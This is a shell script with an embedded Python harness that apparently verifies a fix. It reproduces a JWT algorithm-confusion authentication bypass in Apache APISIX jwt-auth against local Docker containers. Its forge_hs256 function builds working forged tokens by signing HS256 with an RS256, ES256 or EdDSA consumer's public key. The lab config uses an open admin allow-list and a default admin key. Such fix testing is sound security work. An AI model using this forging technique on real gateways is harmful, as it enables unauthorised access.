#!/bin/bash
###############################################################################¦
# CVE-2026-39999 — VARIANT / BYPASS ANALYSIS
# Apache APISIX jwt-auth algorithm confusion — alternate-trigger & bypass probe.
#
# The original repro proved the RS256->HS256 confusion bypass on 3.16.0 and the
# fix (alg-match enforcement) on 3.17.0.  This variant script asks TWO questions:
#
#   (1) ALTERNATE TRIGGER: Does the SAME algorithm-confusion bug reproduce when
#       the consumer is configured with a DIFFERENT asymmetric algorithm family
#       — ES256 (ECDSA / prime256v1) and EdDSA (Ed25519) — instead of RS256?
#       The attacker forges an HS256 JWT signed with that consumer's *public key*
#       PEM as the HMAC secret.  On the VULNERABLE 3.16.0 this should still be a
#       200 bypass (same root cause, different key material / consumer config).
#
#   (2) BYPASS: Does any of these forged tokens still get accepted on the FIXED
#       3.17.0?  If yes -> the alg-match fix has a gap (true bypass, exit 0).
#       If all are rejected with 401 ("algorithm mismatch, expected <alg>") ->
#       the fix covers every asymmetric family; NO bypass (exit 1).
#
# Design: ONE route "/" protected by jwt-auth; THREE consumers (RS256, ES256,
# EdDSA) each with a distinct `key` claim.  The forged HS256 token's payload
# `key` claim selects which consumer (and therefore which public key) is used.
#
# Exit codes:
#   0 = a forged HS256 token was ACCEPTED (HTTP 200) on the FIXED 3.17.0 → BYPASS
#   1 = no bypass (alternate triggers reproduced on vulnerable only, fix holds)
###############################################################################¦
set -euo pipefail

# ---- Portable paths ---------------------------------------------------------
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VV="$ROOT/vuln_variant"
LOGS="$ROOT/logs"
ART="$VV/artifacts"
mkdir -p "$LOGS" "$ART" "$VV/logs"
cd "$ROOT"

# ---- Configuration ----------------------------------------------------------
VULN_IMAGE="apache/apisix:3.16.0-debian"
FIXED_IMAGE="apache/apisix:3.17.0-debian"
ETCD_IMAGE="bitnamilegacy/etcd:3.6"
UPSTREAM_IMAGE="python:3-slim"
ADMIN_KEY="edd1c9f034335f136f87ad84b625c8f1"
NETWORK="apisix-cve2026-variant"
VULN_LOG="$LOGS/variant_apisix_vulnerable.log"
FIXED_LOG="$LOGS/variant_apisix_fixed.log"
HARNESS_OUT_VULN="$LOGS/variant_harness_vulnerable.log"
HARNESS_OUT_FIXED="$LOGS/variant_harness_fixed.log"

# ---- Helpers ----------------------------------------------------------------
log() { echo "[variant] $*"; }

cleanup() {
    log "cleaning up containers and network"
    docker rm -f apisix-vuln apisix-fixed etcd-var upstream-var client-var 2>/dev/null || true
    docker network rm "$NETWORK" 2>/dev/null || true
}
trap cleanup EXIT

ensure_image() {
    if ! docker image inspect "$1" >/dev/null 2>&1; then
        log "pulling image $1"
        docker pull "$1" >/dev/null 2>&1
    fi
}

# ---- 1. Generate keypairs (RSA=RS256, EC=ES256, Ed25519=EdDSA) --------------
log "generating RSA-2048 (RS256), EC prime256v1 (ES256), Ed25519 (EdDSA) keypairs"
openssl genrsa -out "$ART/rsa_private.pem" 2048 2>/dev/null
openssl rsa -in "$ART/rsa_private.pem" -pubout -out "$ART/rsa_public.pem" 2>/dev/null
openssl ecparam -name prime256v1 -genkey -noout -out "$ART/ec_private.pem" 2>/dev/null
openssl ec -in "$ART/ec_private.pem" -pubout -out "$ART/ec_public.pem" 2>/dev/null
openssl genpkey -algorithm Ed25519 -out "$ART/ed_private.pem" 2>/dev/null
openssl pkey -in "$ART/ed_private.pem" -pubout -out "$ART/ed_public.pem" 2>/dev/null
log "pubkey sizes: rsa=$(wc -c < "$ART/rsa_public.pem") ec=$(wc -c < "$ART/ec_public.pem") ed=$(wc -c < "$ART/ed_public.pem")"

# ---- 2. APISIX config.yaml --------------------------------------------------
cat > "$ART/apisix_config.yaml" <<'YAML'
apisix:
  node_listen: 9080
  enable_ipv6: false

deployment:
  admin:
    allow_admin:
      - 0.0.0.0/0
    admin_key:
      - name: "admin"
        key: edd1c9f034335f136f87ad84b625c8f1
        role: admin
  etcd:
    host:
      - "http://etcd:2379"
    prefix: "/apisix"
    timeout: 30
YAML

# ---- 3. Python harness (runs inside client container) ----------------------
# Creates THREE consumers (RS256, ES256, EdDSA) + ONE jwt-auth route, then for
# each consumer family forges an HS256 JWT signed with that consumer's public
# key PEM as the HMAC secret and hits the protected route.
cat > "$ART/variant_harness.py" <<'PYEOF'
#!/usr/bin/env python3
"""CVE-2026-39999 variant harness.
Tests algorithm confusion against RS256, ES256 (ECDSA) and EdDSA (Ed25519)
consumer configs by forging HS256 JWTs signed with each consumer's public key
PEM as the HMAC secret.
arg1 = "vulnerable" (expect 200 bypass for all) or "fixed" (expect 401 for all).
"""
import urllib.request, urllib.error, json, hmac, hashlib, base64, sys, os

ROLE = sys.argv[1]                      # "vulnerable" | "fixed"
APISIX_HOST = os.environ.get("APISIX_HOST", "apisix")
ADMIN = f"http://{APISIX_HOST}:9180/apisix/admin"
GATEWAY = f"http://{APISIX_HOST}:9080"
ADMIN_KEY = "edd1c9f034335f136f87ad84b625c8f1"
RESULTS = "/tmp/variant_results.json"

# (consumer_username, key_claim, algorithm, pubkey_file)
CONSUMERS = [
    ("jack-rs", "rs-key", "RS256", "/tmp/rsa_public.pem"),
    ("jack-ec", "ec-key", "ES256", "/tmp/ec_public.pem"),
    ("jack-ed", "ed-key", "EdDSA", "/tmp/ed_public.pem"),
]

def api(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    req = urllib.request.Request(ADMIN + path, data=data, method=method,
                                 headers={"X-API-KEY": ADMIN_KEY,
                                          "Content-Type": "application/json"})
    try:
        r = urllib.request.urlopen(req, timeout=10)
        return r.status, r.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()

def gw(token=None):
    headers = {}
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(GATEWAY + "/", headers=headers)
    try:
        r = urllib.request.urlopen(req, timeout=10)
        return r.status, r.read().decode()[:200]
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()[:200]

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

def forge_hs256(pubkey_pem, key_claim):
    header = {"typ": "JWT", "alg": "HS256"}
    h = b64url(json.dumps(header, separators=(",", ":")).encode())
    p = b64url(json.dumps({"key": key_claim}, separators=(",", ":")).encode())
    signing_input = f"{h}.{p}"
    sig = hmac.new(pubkey_pem.encode(), signing_input.encode(), hashlib.sha256).digest()
    return f"{signing_input}.{b64url(sig)}"

print(f"[*] role={ROLE}")

# Create consumers
for username, key_claim, alg, pubkey_file in CONSUMERS:
    with open(pubkey_file) as f:
        pubkey_pem = f.read()
    consumer = {"username": username,
                "plugins": {"jwt-auth": {"key": key_claim,
                                         "algorithm": alg,
                                         "public_key": pubkey_pem}}}
    c, r = api("PUT", f"/consumers/{username}", consumer)
    print(f"[*] create consumer {username} ({alg}): {c}")
    assert c in (200, 201), f"consumer {username} failed: {c} {r}"

# Create one protected route (consumer selected by token's `key` claim)
route = {"uri": "/",
         "upstream": {"type": "roundrobin", "nodes": {"upstream:80": 1}},
         "plugins": {"jwt-auth": {}}}
c, r = api("PUT", "/routes/r1", route)
print(f"[*] create route jwt-auth: {c}")
assert c in (200, 201), f"route failed: {c} {r}"

# Control: no JWT -> must be 401 (route protected)
no_jwt_code, _ = gw()
print(f"[*] no-jwt control: {no_jwt_code} (expect 401)")
assert no_jwt_code == 401, f"route not protected: got {no_jwt_code}"

results = {"role": ROLE, "no_jwt_code": no_jwt_code, "alg_results": {}}
any_bypass_on_this_role = False

for username, key_claim, alg, pubkey_file in CONSUMERS:
    with open(pubkey_file) as f:
        pubkey_pem = f.read()
    forged = forge_hs256(pubkey_pem, key_claim)
    code, body = gw(token=forged)
    bypass = (code == 200)
    if bypass:
        any_bypass_on_this_role = True
    results["alg_results"][alg] = {
        "consumer": username,
        "key_claim": key_claim,
        "forged_jwt": forged,
        "forged_jwt_code": code,
        "forged_jwt_body": body,
        "bypass": bypass,
    }
    tag = "BYPASS" if bypass else "REJECTED"
    print(f"[*] {alg:6s} forged HS256 -> {code}  [{tag}]  body={body[:90]}")

with open(RESULTS, "w") as f:
    json.dump(results, f, indent=2)

# Role-specific expectation:
#   vulnerable -> every alg should be a 200 bypass (alternate trigger confirmed)
#   fixed      -> every alg should be 401 (fix covers all asymmetric families)
if ROLE == "vulnerable":
    allok = all(results["alg_results"][a]["bypass"] for _,_,a,_ in CONSUMERS)
    if allok:
        print("[+] VULNERABLE: all three asymmetric consumers bypassed via HS256 confusion")
        sys.exit(0)
    print("[-] expected 200 bypass for all algs on vulnerable")
    sys.exit(1)
else:  # fixed
    # Bypass = any forged token accepted (200) on the FIXED version
    if any_bypass_on_this_role:
        print("[!] BYPASS: a forged HS256 token was ACCEPTED on the FIXED 3.17.0!")
        sys.exit(0)
    print("[+] FIXED: all forged HS256 tokens rejected (401) -> fix covers RS256/ES256/EdDSA")
    sys.exit(1)
PYEOF

# ---- 4. Pull images ---------------------------------------------------------
log "ensuring docker images are available"
ensure_image "$VULN_IMAGE"
ensure_image "$FIXED_IMAGE"
ensure_image "$ETCD_IMAGE"
ensure_image "$UPSTREAM_IMAGE"

# ---- 5. Network + etcd + upstream + client ---------------------------------
cleanup
log "creating docker network $NETWORK"
docker network create "$NETWORK" >/dev/null 2>&1

start_etcd() {
    docker rm -f etcd-var >/dev/null 2>&1 || true
    docker run -d --name etcd-var --network "$NETWORK" \
        -e ETCD_DATA_DIR=/etcd_data -e ETCD_ENABLE_V2=true \
        -e ALLOW_NONE_AUTHENTICATION=yes \
        -e ETCD_ADVERTISE_CLIENT_URLS=http://etcd:2379 \
        -e ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379 \
        --network-alias etcd \
        "$ETCD_IMAGE" >/dev/null
    sleep 4
}
start_etcd

log "starting upstream (python http.server)"
docker run -d --name upstream-var --network "$NETWORK" \
    --network-alias upstream -w /tmp \
    "$UPSTREAM_IMAGE" python3 -m http.server 80 >/dev/null

log "starting client helper"
docker run -d --name client-var --network "$NETWORK" -w /tmp \
    "$UPSTREAM_IMAGE" sleep 3600 >/dev/null
docker cp "$ART/rsa_public.pem"  client-var:/tmp/rsa_public.pem
docker cp "$ART/ec_public.pem"   client-var:/tmp/ec_public.pem
docker cp "$ART/ed_public.pem"   client-var:/tmp/ed_public.pem
docker cp "$ART/variant_harness.py" client-var:/tmp/variant_harness.py
sleep 1

wait_admin() {
    local cname="$1" max=60 i=0 code
    while [ $i -lt $max ]; do
        code=$(docker exec client-var python3 -c "
import urllib.request
try:
    r=urllib.request.urlopen(urllib.request.Request('http://apisix:9180/apisix/admin/routes',headers={'X-API-KEY':'${ADMIN_KEY}'}),timeout=3)
    print(r.status)
except: print('0')
" 2>/dev/null || echo 0)
        [ "$code" = "200" ] && return 0
        i=$((i+1)); sleep 1
    done
    return 1
}

run_role() {
    local role="$1" image="$2" cname="$3" logfile="$4" harness_out="$5"
    log "=== ${role^^}: starting APISIX image $image ==="
    docker rm -f "$cname" >/dev/null 2>&1 || true
    docker create --name "$cname" --network "$NETWORK" \
        --network-alias apisix "$image" >/dev/null
    docker cp "$ART/apisix_config.yaml" "$cname":/usr/local/apisix/conf/config.yaml >/dev/null
    docker start "$cname" >/dev/null
    log "waiting for ${role} APISIX admin API"
    if ! wait_admin "$cname"; then
        log "ERROR: ${role} APISIX admin API never became ready"
        docker logs "$cname" > "$logfile" 2>&1 || true
        return 1
    fi
    log "${role} APISIX admin API ready"
    docker exec -e APISIX_HOST=apisix client-var python3 /tmp/variant_harness.py "$role" | tee "$harness_out"
    local rc=${PIPESTATUS[0]}
    docker logs "$cname" > "$logfile" 2>&1 || true
    docker cp client-var:/tmp/variant_results.json "$ART/variant_results_${role}.json" >/dev/null 2>&1 || true
    log "${role} harness exit=$rc"
    return $rc
}

# ---- 6. VULNERABLE 3.16.0 ---------------------------------------------------
VULN_RC=0
run_role vulnerable "$VULN_IMAGE" apisix-vuln "$VULN_LOG" "$HARNESS_OUT_VULN" || VULN_RC=$?
# Capture vulnerable APISIX version
VULN_VER=$(docker exec apisix-vuln apisix version 2>/dev/null | tail -1 | tr -d "[:space:]" || echo "unknown")
echo "$VULN_VER" > "$VV/logs/vulnerable_version.txt" 2>/dev/null || true
log "vulnerable APISIX version: $VULN_VER"

if [ "$VULN_RC" -ne 0 ]; then
    log "WARN: vulnerable harness did not confirm all bypasses (rc=$VULN_RC); continuing to fixed test"
fi

# ---- 7. FIXED 3.17.0 (fresh etcd) -------------------------------------------
log "=== swapping to APISIX 3.17.0 (fresh etcd) ==="
docker rm -f apisix-vuln >/dev/null 2>&1
start_etcd

FIXED_RC=0
run_role fixed "$FIXED_IMAGE" apisix-fixed "$FIXED_LOG" "$HARNESS_OUT_FIXED" || FIXED_RC=$?
FIXED_VER=$(docker exec apisix-fixed apisix version 2>/dev/null | tail -1 | tr -d "[:space:]" || echo "unknown")
echo "$FIXED_VER" > "$VV/logs/fixed_version.txt" 2>/dev/null || true
log "fixed APISIX version: $FIXED_VER"

# ---- 8. Verdict -------------------------------------------------------------
# FIXED harness exits 0 ONLY if a forged token was accepted on fixed (bypass).
log "RESULT: vulnerable_harness_rc=$VULN_RC  fixed_harness_rc=$FIXED_RC"
if [ "$FIXED_RC" -eq 0 ]; then
    log "=== BYPASS CONFIRMED: forged HS256 token accepted on FIXED 3.17.0 ==="
    exit 0
fi

log "=== NO BYPASS: all forged HS256 tokens rejected on FIXED 3.17.0 (fix holds) ==="
log "    alternate triggers on vulnerable 3.16.0: see $HARNESS_OUT_VULN"
exit 1